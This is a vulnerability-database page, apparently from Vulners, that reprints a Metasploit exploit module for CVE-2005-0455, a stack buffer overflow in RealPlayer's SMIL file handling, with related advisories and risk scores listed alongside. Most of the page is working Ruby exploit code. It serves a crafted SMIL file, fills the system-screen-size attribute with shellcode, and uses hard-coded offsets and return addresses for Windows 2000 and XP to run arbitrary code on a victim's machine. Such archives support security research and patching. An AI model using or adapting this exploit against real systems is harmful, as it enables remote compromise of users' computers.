RealNetworks RealPlayer - '.SMIL' Remote Buffer Overflow (Metasploit)

🗓️ 09 May 2010 00:00:00Reported by MetasploitType

RealPlayer SMIL Buffer Overflow. Remote attacker could execute arbitrary code by creating a URL link to a malicious SMIL file

Reporter	Title	Published	Views	Family All 21
Tenable Nessus	RealPlayer < 6.0.12.1059 Multiple Remote Overflows	2 Mar 200500:00	–	nessus
Tenable Nessus	Fedora Core 3 : HelixPlayer-1.0.3-3.fc3 (2005-188)	12 Sep 200500:00	–	nessus
Tenable Nessus	RealPlayer Multiple Remote Overflows (2005-03-01)	2 Mar 200500:00	–	nessus
Tenable Nessus	RHEL 4 : RealPlayer (RHSA-2005:265)	4 Mar 200500:00	–	nessus
Tenable Nessus	RHEL 4 : HelixPlayer (RHSA-2005:271)	4 Mar 200500:00	–	nessus
Tenable Nessus	RHEL 3 : realplayer (RHSA-2005:299)	21 Mar 200500:00	–	nessus
Tenable Nessus	SUSE-SA:2005:014: RealPlayer	9 Mar 200500:00	–	nessus
Circl	CVE-2005-0455	9 May 201000:00	–	circl
Check Point Advisories	RealNetworks RealPlayer SMIL File Handling Buffer Overflow (CVE-2005-0455)	29 Nov 200900:00	–	checkpoint_advisories
CVE	CVE-2005-0455	2 Mar 200505:00	–	cve

##
# $Id: realplayer_smil.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RealNetworks RealPlayer SMIL Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8.
				By creating a URL link to a malicious SMIL file, a remote attacker could
				overflow a buffer and execute arbitrary code.
				When using this module, be sure to set the URIPATH with an extension of '.smil'.
				This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8
				build 6.0.9.584.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'MC',
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2005-0455' ],
					[ 'OSVDB', '14305'],
					[ 'BID', '12698' ],
				],

			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},

			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x90\x0a\x0d\x20\x3c\x3e\x2f\x5c\x22\x58\x3d\x3b\x40\x3f\x27\x26\x25",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'RealPlayer 10/8 on Windows 2000 SP0-SP4 English',     { 'Offset' => 608, 'Ret' => 0x75022ac4 } ],
					[ 'RealPlayer 10/8 on Windows XP PRO SP0-SP1 English',   { 'Offset' => 584, 'Ret' => 0x71aa2461 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 1 2005',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		cruft  =  rand_text_alpha_upper(1)
		bleh   =  rand_text_alpha_upper(11)

		sploit =  rand_text_alpha_upper(target['Offset']) + payload.encoded
		sploit << "\xeb\x06" + rand_text_alpha_upper(2) + [target.ret].pack('V')
		sploit << [0xe8, -485].pack('CV')

		# Build the HTML content
		content =  "<smil><head><layout><region id=\"#{cruft}\" top=\"#{cruft}\" /></layout></head>"
		content << "<body><text src=\"#{bleh}.txt\" region=\"size\" system-screen-size=\"#{sploit}\" /></body></smil>"

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content, { 'Content-Type' => 'text/html' })

		# Handle the payload
		handler(cli)
	end

end

09 May 2010 00:00Current

7High risk

Vulners AI Score7

CVSS 25.1

EPSS0.75424

RealNetworks RealPlayer - &#039;.SMIL&#039; Remote Buffer Overflow (Metasploit)

RealNetworks RealPlayer - '.SMIL' Remote Buffer Overflow (Metasploit)